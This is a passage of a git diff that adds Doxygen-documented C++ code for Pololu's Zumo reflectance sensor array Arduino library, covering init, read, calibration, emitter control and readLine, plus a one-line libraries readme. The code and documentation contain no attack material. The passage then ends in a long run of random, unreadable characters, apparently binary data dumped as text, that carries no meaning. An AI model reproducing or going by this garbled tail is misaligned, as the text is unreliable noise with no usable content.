\param pins Array of pin numbers for sensors. + * \param numSensors Number of sensors. + * \param timeout Maximum duration of reflectance reading in microseconds. + * \param emitterPin Pin that turns IR emitters on or off. + * + * This function initializes the ZumoReflectanceSensorArray object with all + * settings as given. + * + * The array \a pins should contain the Arduino digital pin numbers for each + * sensor. + * + * \a numSensors specifies the length of the \a pins array (the number of + * reflectance sensors you are using). + * + * \a timeout specifies the length of time in microseconds beyond which you + * consider the sensor reading completely black. That is to say, if the pulse + * length for a pin exceeds \a timeout, pulse timing will stop and the reading + * for that pin will be considered full black. It is recommended that you set + * \a timeout to be between 1000 and 3000 us, depending on factors like the + * height of your sensors and ambient lighting. This allows you to shorten the + * duration of a sensor-reading cycle while maintaining useful measurements of + * reflectance. If \a timeout is not specified, it defaults to 2000 us. (See + * the [product page](http://www.pololu.com/product/1419) for the Zumo + * Reflectance Sensor Array on Pololu's website for an overview of the + * sensors' principle of operation.) + * + * \a emitterPin is the Arduino digital pin that controls whether the IR LEDs + * are on or off. This pin is optional; if a valid pin is specified, the + * emitters will only be turned on during a reading. If \a emitterPin is not + * specified, the emitters will be controlled with pin 2 on the Uno (and other + * ATmega328/168 boards) or pin A4 on the Leonardo (and other ATmega32U4 + * boards). (The corresponding connection should be made with the "LED ON" + * jumper on the Zumo Reflectance Sensor Array.) If the value + * `QTR_NO_EMITTER_PIN` (255) is used, you can leave the emitter pin + * disconnected and the IR emitters will always be on. + * + * This version of `%init()` can be useful if you only want to use a subset + * of the six reflectance sensors on the array. For example, using the + * outermost two sensors (on pins 4 and 5 by default) is usually enough for + * detecting the ring border in sumo competitions: + * + * ~~~{.ino} + * ZumoReflectanceSensorArray reflectanceSensors; + * + * ... + * + * reflectanceSensors.init((unsigned char[]) {4, 5}, 2); + * ~~~ + * + * Alternatively, you can use \ref ZumoReflectanceSensorArray(unsigned char * pins, unsigned char numSensors, unsigned int timeout, unsigned char emitterPin) + * "a different constructor" to declare and initialize the object at the same + * time: + * + * ~~~{.ino} + * + * ZumoReflectanceSensorArray reflectanceSensors((unsigned char[]) {4, 5}, 2); + * ~~~ + * + */ + void init(unsigned char * pins, unsigned char numSensors, unsigned int timeout = 2000, + unsigned char emitterPin = ZUMO_SENSOR_ARRAY_DEFAULT_EMITTER_PIN) + { + QTRSensorsRC::init(pins, numSensors, timeout, emitterPin); + } +}; + +// documentation for inherited functions + +/*! \fn void QTRSensors::read(unsigned int *sensor_values, unsigned char readMode = QTR_EMITTERS_ON) +\memberof ZumoReflectanceSensorArray + * \brief Reads the raw sensor values into an array. + * + * \param sensorValues Array to populate with sensor readings. + * \param readMode Read mode (`QTR_EMITTERS_OFF`, `QTR_EMITTERS_ON`, or + * `QTR_EMITTERS_ON_AND_OFF`). + * + * There **must** be space in the \a sensorValues array for as many values as + * there were sensors specified in the constructor. The values returned are + * measures of the reflectance in units of microseconds. They will be raw + * readings between 0 and the \a timeout argument (in units of microseconds) + * provided in the constructor (which defaults to 2000). + * + * The \a readMode argument specifies the kind of read that will be performed. + * Several options are defined: + * + * - `QTR_EMITTERS_OFF` specifies that the reading should be made without + * turning on the infrared (IR) emitters, in which case the reading represents + * ambient light levels near the sensor. + * - `QTR_EMITTERS_ON` specifies that the emitters should be turned on for the + * reading, which results in a measure of reflectance. + * - `QTR_EMITTERS_ON_AND_OFF` specifies that a reading should be made in both + * the on and off states. The values returned when this option is used are + * given by the formula **on + max − off**, where **on** is the reading + * with the emitters on, **off** is the reading with the emitters off, and + * **max** is the maximum sensor reading. This option can reduce the amount of + * interference from uneven ambient lighting. + * + * Note that emitter control will only work if you specify a valid emitter pin + * in the constructor and make the corresponding connection (with the "LED ON" + * jumper or otherwise). + * + * The ZumoReflectanceSensorArray class inherits this function from the + * QTRSensors class. + */ + +/*! \fn void QTRSensors::emittersOff() + * \brief Turns the IR LEDs off. + * + * This is mainly for use by the `read()` method, and calling this function + * before or after reading the sensors will have no effect on the readings, but + * you might wish to use it for testing purposes. This method will only do + * something if the emitter pin specified in the constructor is valid (i.e. not + * `QTR_NO_EMITTER_PIN`) and the corresponding connection is made. + * + * The ZumoReflectanceSensorArray class inherits this function from the + * QTRSensors class. + */ + +/*! \fn void QTRSensors::emittersOn() + * \brief Turns the IR LEDs on. + * \copydetails emittersOff + */ + +/*! \fn void QTRSensors::calibrate(unsigned char readMode = QTR_EMITTERS_ON) + * \brief Reads the sensors for calibration. + * + * \param readMode Read mode (`QTR_EMITTERS_OFF`, `QTR_EMITTERS_ON`, or + * `QTR_EMITTERS_ON_AND_OFF`). + * + * The sensor values read by this function are not returned; instead, the + * maximum and minimum values found over time are stored internally and used for + * the `readCalibrated()` method. You can access the calibration (i.e raw max + * and min sensor readings) through the public member pointers + * `calibratedMinimumOn`, `calibratedMaximumOn`, `calibratedMinimumOff`, and + * `calibratedMaximumOff`. Note that these pointers will point to arrays of + * length \a numSensors, as specified in the constructor, and they will only be + * allocated **after** `calibrate()` has been called. If you only calibrate with + * the emitters on, the calibration arrays that hold the off values will not be + * allocated. + * + * The ZumoReflectanceSensorArray class inherits this function from the + * QTRSensors class. + */ + +/*! \fn void QTRSensors::resetCalibration() + * \brief Resets all calibration that has been done. + * + * This function discards the calibration values that have been previously + * recorded, resetting the min and max values. + * + * The ZumoReflectanceSensorArray class inherits this function from the + * QTRSensors class. + */ + +/*! \fn void QTRSensors::readCalibrated(unsigned int *sensor_values, unsigned char readMode = QTR_EMITTERS_ON) + * \brief Returns sensor readings normalized to values between 0 and 1000. + * + * \param sensorValues Array to populate with sensor readings. + * \param readMode Read mode (`QTR_EMITTERS_OFF`, `QTR_EMITTERS_ON`, or + * `QTR_EMITTERS_ON_AND_OFF`). + * + * 0 corresponds to a reading that is less than or equal to the minimum value + * read by `calibrate()` and 1000 corresponds to a reading that is greater than + * or equal to the maximum value. Calibration values are stored separately for + * each sensor, so that differences in the sensors are accounted for + * automatically. + * + * The ZumoReflectanceSensorArray class inherits this function from the + * QTRSensors class. + */ + +/*! \fn int QTRSensors::readLine(unsigned int *sensor_values, unsigned char readMode = QTR_EMITTERS_ON, unsigned char whiteLine = 0) + * \brief Returns an estimated position of a line under the sensor array. + * + * \param sensorValues Array to populate with sensor readings. + * \param readMode Read mode (`QTR_EMITTERS_OFF`, `QTR_EMITTERS_ON`, or + * `QTR_EMITTERS_ON_AND_OFF`). + * \param whiteLine 0 to detect a dark line on a light surface; 1 to detect + * a light line on a dark surface. + * \return An estimated line position. + * + * This function operates the same as `readCalibrated()`, but with a feature + * designed for line following: it returns an estimated position of the line. + * The estimate is made using a weighted average of the sensor indices + * multiplied by 1000, so that a return value of 0 indicates that the line is + * directly below sensor 0 (or was last seen by sensor 0 before being lost), a + * return value of 1000 indicates that the line is directly below sensor 1, 2000 + * indicates that it's below sensor 2, etc. Intermediate values indicate that + * the line is between two sensors. The formula is: + * + * \f[ + * \newcommand{sv}[1]{\mathtt{sensorValues[#1]}} + * \text{return value} = + * \frac{(0 \times \sv{0}) + (1000 \times \sv{1}) + (2000 \times \sv{2}) + \ldots} + * {\sv{0} + \sv{1} + \sv{2} + \ldots} + * \f] + * + * As long as your sensors aren't spaced too far apart relative to the line, + * this returned value is designed to be monotonic, which makes it great for use + * in closed-loop PID control. Additionally, this method remembers where it last + * saw the line, so if you ever lose the line to the left or the right, its line + * position will continue to indicate the direction you need to go to reacquire + * the line. For example, if sensor 5 is your rightmost sensor and you end up + * completely off the line to the left, this function will continue to return + * 5000. + * + * By default, this function assumes a dark line (high values) on a light + * background (low values). If your line is light on dark, set the optional + * second argument \a whiteLine to true. In this case, each sensor value will be + * replaced by the maximum possible value minus its actual value before the + * averaging. + * + * The ZumoReflectanceSensorArray class inherits this function from the + * QTRSensors class. + */ + + +// documentation for inherited member variables + +/*! + * \property unsigned int * QTRSensors::calibratedMinimumOn + * \brief The calibrated minimum values measured for each sensor, with emitters + * on. + * + * This pointer is unallocated and set to 0 until `calibrate()` is called, and + * then allocated to exactly the size required. Depending on the \a readMode + * argument to `calibrate()`, only the On or Off values might be allocated, as + * required. This variable is made public so that you can use the calibration + * values for your own calculations and do things like saving them to EEPROM, + * performing sanity checking, etc. + * + * The ZumoReflectanceSensorArray class inherits this variable from the + * QTRSensors class. + * + * \property unsigned int * QTRSensors::calibratedMaximumOn + * \brief The calibrated maximum values measured for each sensor, with emitters + * on. + * \copydetails QTRSensors::calibratedMinimumOn + * + * \property unsigned int * QTRSensors::calibratedMinimumOff + * \brief The calibrated minimum values measured for each sensor, with emitters + * off. + * \copydetails QTRSensors::calibratedMinimumOn + * + * \property unsigned int * QTRSensors::calibratedMaximumOff + * \brief The calibrated maximum values measured for each sensor, with emitters + * off. + * \copydetails QTRSensors::calibratedMinimumOn + */ + +#endif \ No newline at end of file diff --git a/libraries/readme.txt b/libraries/readme.txt new file mode 100644 index 0000000..a8f1390 --- /dev/null +++ b/libraries/readme.txt @@ -0,0 +1 @@ +For information on installing libraries, see: http://arduino.cc/en/Guide/Libraries

}uO` z$Nc)2c41cZ8MD>Nspclw8Q4H|`IM#l>-aYrdbsREu97j67x9e6ZB^%el;!l9q5nRy*5(iM{SN;8Y|gop zA@b`ANs8%>dJyo(^9Bj}+s$Vb*>S*}7&@8dO6;o~Bqs1~zVA0SbTUtnKRa~fgMqiv z0V6dSco2LKGCy=O>o^Q0^cx~NnJ37fBs%gz!LOWT@8=9N;n>j0EZ8t8myw-0jAAlR zAkbtwPmX?Y@Xp}7KY{V%wm+wbPG%*Cp#_=TIW@E(&}3-g?CLER?63{chBUCi3fpY| zVf&H$LNRxQ@DY+A5^&H6t2kvER>yIJ&rEDBhv5dFQCgT1Y7l5L)DTaa{jS_ev(6hLc2*&CQ08N1Cq~7e zQ{I%a1&=bVUjnRCWLk#+CvVW~WJH8aB+YE8kxZNY?JQFr!L(Vs+pX`*HVc&Twc3PP z+M6OyD~__9PRb18vWb(s1jdd?FJ)k^JTbx_hJBZ(ihbu#9lhWAX-A^VeG*iM5|=$R z5oJ6ho;I7S&q=p$Q#s>m61C%^#y9q73jh04g@1u2!)r!7b@qGmCspQR9}fSlACGfM zC&QbE+422`lTPLd@+XvzdJ663lc79e%1x-v*?>ZaHs|!c~Di0G*uhVL&Fjz#_P45(JGB?vY3Hd z?xe^3Ecaf;Xh+k7V=B`2p@w;EC~BB-Ia&~LbQoYT@6j*vX*9HwUX%7MMod4ZIu05> zw1TwHpR^#YX=|tt(Der#<0_{Rh1F|7M69nJ8a1Q8^b+(HBm3?ss{^vHJZ8}@2HhdQ-i z=)~&OrYeq(u2yU7l9elFR0EIRqbygOA2R6`;y#)l=&I@ob5I;7xLupQTgE>xRcpT} zSA_9J#10+?IQ08y2t!)awSnB9&dZ^t#(yM{#Y_XKmBs9v6Df|&9mC4C3D5IB%hoCa zjeudvZM(;%K3iK~E3WOVtQ0r4H;W6K*QdJ@1i!I|%W=G7?Oll`Cnk`84yRmgSCL!x zGV!z&3c?u|zWOx9YHiToXV_-wx{FV+?V(bv6PBz6T*uJjEKAl(!|*^Ahbsn2(;yfl zlx^}13fJO^y-L@fN#R;NkNO!I`W^5g@0J0JFynJ3R8Ai7h9*lbQ_1p zVsOcCRbefV#O`8A&_!@rx)uSBFen5aT&Qyu8+U+p=8^Xs@c7eqhZ5>YAQh)r98e>d zi<3XMt94U`JIi%9y1?};aP?RKBClTDY9rxry|{U!DB7Gw1gr)qYsebuvtjLBtbtw; zv+=^ac&0fN_F*cca8^_A*ebmH)u7}ts9{0OBf@tWxrJr-RVkF16y}>#L5+$$GC+u9 z^#kuS1=Ze*bOz`yU=4M8YRt0@Oaab;Mq@V3!5~iOO-Eq2#wH8lupD9-hd6FsjW-?V zBp*z3j9kaDPFX;%Zyh6--((8zGeWNKN=2^M8RTO5iK{igbn|JcNr1`dnzH zS;R$%B@}YJ7Pd!IdI+u%>iNCdwjR|Y!?F{G-y8}*hhdm_9U&*Bwfqgoo%}f*H1(bO zzXvn;0bNhRby}`w26s8|x*9~BRhxAx$Z^4vJ}4d|Y? zIpG+=__1JtaD%&5T--WT7%I<{(zaywbY*UVYNXfTJ0BQk9>_!WwR7PDyQJ%A`qN~3 zy{#YuGK4frI7kV5+sc%D}{yc0bT}27D zl2^S&9<&FVCMvL{BVss-O|6j!s?xU zvi>ZUGOhmVuV1Q$BXL1GuX~{!^17;Wnr4S&h7F^eP<(cCys?W^$u!s}5`MICK6otn zLm_OTu&JpQ(umP2%Gg3_qpLMZem#f`qBS-Xq?N|l@)Cw6i+I?&Rtc}^pS@z zVMDc~2;P$7Nc`3?WQu5`b=5|#DL|jn2}OXW2Y9!&y--E9S}qh(6-Pf^+aR$5j7^OK zPbArdZPKksJf7V?((aT6<;gE$IgXkBvt#-{ow{#@$`j3nZhAoz+lPnA=zH(Vr9Erg z;=8e!OZ#5wrm*0805p#lGR`5y+qP^4D=>=CgTckdt9FHbH-IGyfiD^j81W3eb}USunJ_t-UJ~wZV?m-4RQr~nA)emy zt7Ye{S34DmNw(JW%A-(lUOjAkL2t$8aVGc+ARrz?(|EpAwN~AA;-#w9`Y-z}T{HR; z>5hFKKBp@zr#@*EmZ2r6OlM}z^o4S)kzHAe0%mrjz>;&D;2*)OR1&UA2m961zNwgQ zq*)`V0wWH6s>Pt0YI%E|n%jz9t^qz$S}9}kSgh^RNh;dtp&WFy8+v3_GP5g6$x!uR z;JW+nTo~5P9qmOA)#0xEq}}P|wpyR4pPA5nCP-;G#{WsKyfJj29dy4Yl_?IPdlT}? zk_rnNL$?Cl^MmehvY6yJdUxv~$M{WuF?cfIKYEYr?Sux+4^$ho!UvzPJC$L*2gL8t zD?lNx__JC3_UQl|kWCH5kg)llF*cv2!ea7Gso0G8Q01DBXwq#rV5YQJFi@^qa>!IB zbeqDOPfkoSx=J0-59nKP9M`W_9%JN!4Kf^q2DEx9dV>@}%xem|#mRob+ zU4eqo^fY$b7!WC^<~qtgZ`)^-%v^)PB?>v6H4JQ7E+e~I@?mBvwdwhRIy{1%X3O6L5}|CH-<$<&3@#g?NO)G=4UiAj!Bi%D zp)`yY{#4X6Jv}ojR6|CZ&&AY^8L_it#NIl*#Xez{-^9e_K^Ob^E#SDsYA)gx-kWS93)*6R?T`!Ot=*9Kb)rGaC;?lzQLUDU}wSYXR#nml#dl=Ow zW6A+*$YS5e##sNMhx!q|^Uz;sf2iN4TALW^aegYq^vx$C0Aoa8O>!DNm~+SZsW>`Q z&J}Br9!Iu@FzzG@ZiU}R10GvYPAG`Q-&W!2DOrR$0h{ZNP@V(dWX@B4Avwa`)ndjPv`QCa@x4kvycLH|1Qg>^xv9zmY zcOEK2uQoJ=#VW+;Ef|3zdCxJAz{JGI#&A=wWbQmQ>{>|?n+!N^$MIQq+F7j(#`{_Qa9of07AR)K~lM(=$ESf zEb2`1G3zL+l6wpKRCl+g@}_L>!>LIg7C8gxHW0MLvlRx!7IhvUf*K`&V&f(qplDST zMGCI>n@mOy)s0;_oF(qjCAW;zMAyQO@k%C#QBe|9+=$*JT+V8J&o6nmswHoh+7h+Q z_4i!tgxciyi}20$8&1&KEmx`RVa}O=PFNT5I)9qDdg{q!+ntfLy(j3QHFDShrfJ>$ z#P{*B2O-+{21W(0VytpJ<6XF+<6LsMb*5~WYGuuHAPn4>oF}SJPOrK*J%t0Rjp}Yr z!>xPolA9H`HWy_$R~ELmW}cX@K6&($WMdxAbMB0fEC$m^TO4dXw$@i@SkIZ(!=yF7 zx|cfkMl!_+r$#WV)|)j^L#qsS+HwwpO1XIizIe78W8hp_EBZD~AHhLTwUqwR`Azx0`;z=ljgf#cheoaloz3+%`O~tZo!B zybOat>qrmSDq4DY0`%JSCVfnafzu;F6tnyV6yoS2U&a38@Ajd8By`*t#~=kY0e&DC zN?q37Nua=Y4{3T%!3zA!gH>M6A7)?6wxVs;Izu~Nt6LlYc66;g|8be&VXxShfB-pe~)975!e`KFZ9oYvGBfGkl zv4NFltEOjkU>8ycRvMd6`FQW_<>Te0dkcd|YkccrgV@X&`$VW=T=ST$a z0*Bh4J|j7MM)W<$#>V(Pfx*OoW~(&siJ#B0sTUP=n+9lM_qB0Ga}{HXGhV}Yy)uR; z=Ke`s7_((rBZ{T4t`Go5A?9KL=FU{UJ>3INBG@M9bSMICc+*Ib)p8mp?o0()K3R#q zMtsE+b1A@vW2oG^VBztE=0&=Vx(R_B#T%8Nj-2|m5K(igV=|OntpY3-pfB~+;LJkc zM(D1k=YiBt{SqYV1_n$WQG)(5bU6(~s#3!cdKV*2NX3aGg*-y*D`LtAr5!LL_&EYx z42$DnXFxA{H+XE`^)F{Ed!OTIoJ8n8$L5{mqw*?dUrnLS^zGUR+UGc^i)w+HCmRp8 zq=XId%9xBT4OfkqHP02FnNeLz9aU*(KE>+~ow<0u(Gq=eo+a#a9;9Ii*&F=}*?NM; za&|v*_W6>+yZaTj)8^1f+vnTl7?Y=&w%D85G|hYL$BBvaZS6&c=cWyMmrNLU^x)#8 zd*kCgJjwf)^B{SP*;kLiDMarRNXBWyJ`CYFc3&kQQ%c)~#0JTW(w#X&qUD=@tL@a> zLl}DLki*}_Z3Pk)JZ4}!opaVG8jAJ4srEgHgzz0iv=P2Wa!X@)hQ|)l6T#sP-Z!#8 z;=YZ&4t%umV6@>7neBX3IKgdkT{HB@nfB)P=8$y~2G>%n+HB9viVPq4N`Nej6P+^X z!g&BzVnZ6Hk`I$=t1Q^thJ7tvElZzNBK&3eDOx34d2DODdj+xBi-mkrO{ ztp^y-j;ji?sVGqLbke|Wh-8rwYeuj>Um%OYZXDDMxJB;kth?-d^ip-j>N3OWXZO+viCJkM}EUch8@Zw9m7- zF@`TbL zW!Udf$1%%T?TlGIcZyi(SFr6h zl}5Zh_m;;PKn?7%H?y0X_t=jk80w2`NYn@|=q5t1w&=k9K=)uPzH|uT%2U6R2k}-! zPYdKv?#q1w`LoyPpH>Q`Nx19Yvk(M(*^7r2HEcgr#7#WYcwOholxp`wwi6?Gjuw34 z>pEKD<`aLn5B>caOP}XHCMOX=&%Kf7{=mEnqfZ)&wWu|1uQHP8xex4n*uXAvG#Mp~ zq@1}6zZM=~WaFAH<_i_%QyM+fY>deLHox%9=3_c_QIVhLN-|nc>6N436uD+SkyiHe z7hL2(@`w-b*(TlWIn7SICHeP1IRDj>?NbDx=43Qe@hH2X<0xaXmvo9n54jyU zby^>pYN~}~Ur6UTcPHBGjI7P4Rh*1wq%Wod?Q4{qfJL?#)(7;2tVRVTra2KaLr|Yg zJnJ|Mt65$K*QfMGMae%iRc*3of%n^ zPfErVyI*OO4gNNa?Py4QT9LNl_%#o~qALbkkZj9y)+O5}Q^297y@OUy+{6E@LoX5b zu=|LwpV;s3#b2Z8dTbJpXrVNhzncSJZ0SC*yQw%}26QxCdoP>XEuUgmi%W%PmKO`f z^^NV~wVjoft&KuqiJcinda!R40uhxWHy}kcffH6}RKX&iBS`_+m}TS(n4SrPK6HY_ zYNO0lg_2_u*(Px-Y|*61D8HYbI2I`fkQ@I6wNY0(sNMx!#9z}_9$wv@N6Ah`!Emd7 z4zJP7$H1h9mOiiMFeEinR8Lat`2#K*QJ+7UN`v?8Y!#5D4*uqA3oFH~!shbA3fnjg z^6NRudL;Rr)IsKu4S+V$`-&*q4Z+CncDV3S*#zhTHw!={k zkrcEZ90w3J$z6_41g4f7QrfzZXRTjwirT_VUUao{VM9Zrs0E8P5g@dyG+&t>6iaZBq#19(U*As)5}Zx`GGSH zkq~LlZ+eHjzS}AzN4wW9&CN(s-~%+s=`{70EAA0!LbJoHYRKfS5~s`8EDId9m~}I` zL6>FjWB^d+jA@4@(zEFw;4>=>s#ZTAiS~6D@~NXcCLx~~7vum&g5Qb^ueznf=NZ00 zk_MZhR|8yahf;jdX)=)$c2N6v6Qm+Rz@WK)amM+H%9}kI@s8dEm~4bz$X7fgX!~8 z9kAx^ah3zGJu~OrFmv*J$yr-ByxnGDb$z=~ys_}U!p=tc1WqIq{I{!h1n(+-9yj7x zYvNIJ!S5PY!hX}j=Nr#AY`u(9p_HH`xfx~-Z*>|CCRnCXS?JM(^Kwb3Vu&6THEL!- z54aSMldMsih0}?fQwD_`D+-+LfNj`VSus8E)VQz*LN_Rh!Yt-qBcOmBE8*9@yIu>uxl7kW z?Lg+Z@@TPrY)#ZFYTI!ZwzoHnv4W=Rs~ZcOYsH;4u)j-1Fbq2@+t!%z_Vqi19y!DyUYgqJ)4C+~ZA%;=9QDhQ)%6 zaVUJ_2vA``Vaq`@J|GB7#Fbrd2J48|*bh_dxdaI022e%?cm(om)K>+~oJED0UG0pL z#<3BR&XUXG>+l*c3#g|{-hAOUc2@8iD^j5al^%{MS(Iu&qT%CzIjdz6a$OS>!{Wxm z@)&4$@6YmM;y=~NiEqT$-=aVBjEq9nH>J+WLl#siPGD>O8WwP)9iS@%)oy;UCr)ux zaGacDp1kI$#wk3~jE>|W*=nPLl(SxO1Z6c(r1=+X3kT|yTyP|E1E7m+w}od4YuhTB zy%r64v-OJH3fd!Ku!u?(6ovrWpx6n@F5Ad9>ja05(tgWth?)qeT2MzGOta{~e6$k0 zxaYzOL=;lcCakZ8fC(s#xFRH3aYEK9;+Pe8hAAsbU$y{l7BANJDFvYGV#M*v#Jj(X z*BI}HjCbFDCTlBPFc|{7?*RFHclN>VJ5wjb)&eY51Ij&FM7xQM* zSAZl+>IQ%>N+7D{&tTwp{s8s8V}L>o_>ckW2hL_aWD%i$5cKoI*+-}!I(A03ytY!; zER@So%ni(sy>%Lr4m1`NG#@L%KCf;wlOjlB$aokA?NzZ0)o&9oi<+UokvD6k?XOQ| zG2uPUp>LW|ruvuI%r5!g-e*oUi{VU6OuVkgEL!8jkE5P4G~t)=`VBQ6Y?1UKgVw`e zNu9FSS#r>Fph+Ebhkh6#XxH~^nN-$%hOD*U8vevt>nt*`W(AJ|G{(ZBjub){@w-J?XwK;4mD+kM!D%@Lms=- zM-!u_Bl_EXvcK>3*_>;?>vJ#iornD!K96dmop@XF?^HjEfy}X6{m6!E7>@P7o$6R` z&@A#v&ZCq4s3zty>VeG=DjlsUa@3cj{ixb)HuMCpMt=(GTK`4A$fr@Y`(i2p>&*9N z9yV_X38SIY<|}8(ZPQi9EmMm|3;T^0CJLX2=Yanq$GO&NNWFFViip1i-fy|BDph)P zrGc3gmQxy251TM!w7ifdrhmR)7L68Fa)NRVPlm1jqyHcw;jRn>X;Can&DHe|k9UtAGO2Qe;K0gYIv6 z(HfcIs+i|;fPJjO(gErWwPd!1Qir!lzU(X(37Xvuo2_aFu-Q)T4*&4b$!k(OF4L#VCGBdE4=G8uva6$c?M3dp7=Cu=y6B_@faDF%B3#4d$^CcH=aQYPo_p&%HL+$n=5KAfiH^|g0yNwDDLe_ zmD?!!M;|_S(YD5|>)j)y>!%7DDD0sda9zG`rN@AQYo#=hV!rIct zI^t7`*9&x#es*j5{RK4l_^7IvPZu_p5p-}n887iN{XOrJa>Qk{=mh)wUZ110qfh!= zi5au5BO`t+-k2SHRJ`67ss@{8XpQ0hsgv?ByL@aY)+;b8ODZ=)a$a5@{t^vd?2|Qm zJ-@flu|LNy(0}OPrIXgVxtN)vYH(jO^9cKU?9ALfz3SfHf*0YebJcC!49xVHN4!k` zoHmmByO+p?Jx;JjICh5peXq~43-llQ+#=t3=&y4zdw)$e*bJ>+SNFu%)zyWy_ieFP z$4*_wpw5-~$k~+arcTMdDN~YLpp!1DZpvcG#ZoEtJufe6n3G}1+uW5?=kETHrCTa& zFD$QYk*zCi^o4XnxB5S8H0-Zq46=QW{W*3){C-WI$3uUei&gSr)!@X2a&Om27dEJH zJAOyeeU~?DEbOmOJI*cMmxsP-F2*@f4en!{udrLk?%ei(T4P~l_nxB4FEw{fhp zfE&`}yp8ig>NtmL+v3$jd5h(x7O?CCGrIQhk3K6#(X93_V>L$$1c!+@Lc=QU*}?ZrKhzS z!n9ldx%a0}yERPwIN}LJ3;sG@ALm4}IXH4Lfge>3PViN)GrIcXV$E|~=C1&~I^Tpj zp$oB$s5Q8;%}jnw{Ks?cL;swMN%>oBc$Z54jb<8(i+-b0-9s{x@SBa+Ep+gXlt2YN zP?PMqI&2tabdbtVF-!ZD6*II`SiE-q^0P~@G^PG@MSe26O5??n8jSK%^#t>L>pk`K zS6Gj>&NUy8xJI?foT%T`SSG&2pZ52?K6hWGuH*UU(C6fWu>MCjx{I(vxEB4hv&!V0 zXONZiYcW!zvZwT%?c-(`zi;PhhQBs-h9i9hb=$?Q<+bZ8{TcJ@@lm(7zv1V}cf>Pv z?!ty4_HUS{Ye*_w^&4UKPL+E>+kv}b42c)S2A<5>2~&5Nb;&bUWSvoK--YcP>0q1y zZke#M^YP41Q$@CgmiOTf@;3wy{3ru4&tF@eL)#0t1ca47Cpy;^J zCcKOjD@M|ek>-zFF%>spM!v*~8Emm|J;?e%3z$j{YsbfbEi4+Q|;mBI$n1YTP}{xNJVeR_#tNWvq1 zW109>cvDqe;4`rO1@ST_almCrz5_L|0D%RxLL0NlG}x}fd8!7=RLR14Rq|{_a=b6- z?3P>Wc-#Th{cj}BHX2_j6U_Q zvj@k%Mo8f*Wn?nX=>f9sDK_N**+W3+$Q@d0*O((Oyb`yCKbAZcT!@R5RyteMCCS_= zlAnvjUswz35Wl==^)y>v6D2>u+xRWj3dz6zfokJ}j&|yDqIf36t03Va@}BC2wd=JH zJoMwTxKvInCeV17ZLe=5`=*(lE$5PRg+k@`S3rF_#i6rtP=gnodH=H9~fPS%W1%Z$z-4xeMnX|J5QmCMzJBrz0Eoe z1XGjL<{Sr?eG0Ep4V76w(t3*sN#sRiKGGAtMGMo&PNbf>*iPZUmDx{I$${CGF{%uVDmbFzH8wmT4F?GXn+Gq5=%VFTD%FzI z$ni^HbG71Ds_v+=V|^ziq_6s@EQE-B zMQ*%67+%m>acdi^V70ityjob_K>+8LHm#y9pT;XsThymBMn}KjgN}?ew3u|y!FUgp zO7vrv$6Id?9p+d`y5=mw+$|<|`v>urQ~`#f=?(J&U#0Twh^)YdwN7=p8PKce4mKA9 zkvvlG{qnFM$|n~-srOHfmsGQwyv57k?u7HHv=+KTGL~?NrMxJjP?mH{1m+FZ|ZUa%A4!K(qpN4(!5DXZci-fh) zSvK^NBacSvko|l*Tyf}a?*&2zZ6{gz zu%J1C_#=Uw(U`#^8@AXDN@yg<)Nhq(I0X?3DbSXSlrQw4Q&wJz3DN40S5J)e^ihww zqJ@Sd9eoNNab@YXO2RgmW5tQt*uuWB$vm$F>c^gg(w{I5D~PFKmbi!2a4ji3*!RGl zf{w}_Ca_+m>l>~#ZIDiql7+^kK$3ZQuU>MQ^zr~PMK%Rt_>@Kms+>c6)U{j&g2Os* zHfy>JDkwOzeOKF3sjk!ZS#eP+p{CrTCY90-F+}JYDyP*BdpDUHMR4rwzRaT=ySK7y z$iSqq7M&($Kj?^K;heL>zbHV!`CHYeGy@h+jdJ9QgbW~;VI|NF;~XIE07V+3iXwci zLcfZ9_nunQ?G`;_lrr7iN7bQ}HhHKmJIl3SL5*7NxOITqf7EjPAzrx=GmMB~F@bq7 z;ZMHmOk@$uEK@&MSwwT+W5I(1VbNmG&w9XOZ|b_qS3}=*zjcpX(DOa1^!z}<$kq~& zx7;v)qu-~is@f}TFjj38y>mER;2U-#Ij<|#IF$}2ifuIPffI_rr-n7C&DGFSO8&u(h zt%TJEw->DeM38E;Q)9aJ7=w+?z`JdHRE}r_G4N8(F)$Zw$0KL9in0iFFicH8o;RR- zd+HQLk?LE50T##^lgll?T0SLckT4}E#u4f-C6XIN6pbtqO@}B((JN5m1XSZGGXj7~`C;nlNow<t&x$M( z&Th3mBiOjmI1KON_|WxFJacHu%LPhbW23t~#!dwR7CgW4Xb7+diXVrz z-cK#(UkCZEsF9I2=3*+JPMym8&5|o_dhly7f1z7B1@nnNLi`GPqOjb6q>`;E>uNr= z#4IZ?W&yBbFsaNV1X8#GnY+;N6zSU~zFe$H%MFRITBmCW3k}k80*vAfc^^pEyb6x| z!GJ(_Kt;bTnk%!L!dqz=5pWH&lxJBz7t3aA=*#9s0D#CwF!^lW0B|RDCZoNq&|vwm zlOo`Q)8u;lU|R>*WlsDuI3X!bCeU((^y(PdS>Q=a&oCLP8Wy2Ny}b|P*xo)R?6was zjc}(5Fo}I#ft8qK&1eLU*vBi?7HqfR`HW!-Y%Ic5!SR79y;X&G2z)j|wk<8)2yyHE zW8Avs)%+&w49$aAzkw*?0A2>(eBrh-ZLWx^v+4!&D?8T~E?v2D@)|U#R6NpM zq^ql;r-*@I%5ArE4t;(5hV)rJcEr*9lOIcE2~M{h!?iRqkr^59OF(;HmN$OwOH(H& z(l#yZ`mOc`mKVIxm#N7$Oj~c`=^4xo65L2blqOt+$&KGla@$ zz5z*Lh;9UgaTwH!atY{2Q5_jL)cShkQinT>l~HkzaPtrqzJ7+ltZwwIQs7I3c#4K! zBE!WA-UTOlfZM7t58~XH=LzS~-cR7Avk=RM_+rDk^c>oe!_{)IiP)(dh{*F0j)jcE zd60pomIsu9x}p%LAvlSi7t)bo5j3Y_c5RTgM0`-A5?chg1g=$#cnhP_gx}Dzm|TQ& zC}$nQC#=$eolO5`?kyo34PXTx65d3@s&JuMu4=Jrc}ztt;5K-)N+3j#kVt$+lO@_d zn|vUilhSO_79rAKM`=xyX~OO6&Gw=GZYIJaqXD=3dSrj(?y-?GL&G6SuvI6JH@hYk z&F>XjY9h~o#_GhSdIw!2z-(~;01lUtU)){aBr*?+;Hjv*x zP~DZu%!MSIo@O~>otJ|}6T+2;&1B;554f2CNaH%Q(!DIt@=!8zEAnq)}4$>7*eqY{Z=6h3TCMq)o1zJJtyqD=t#8~80Ytp*aX2%z2 zJAo$cDm7_H2MNwnJY0=mD5I>EN9pp~c42dKXJcE!$3xdsrgK8jzxYqF!(at3In_Bt 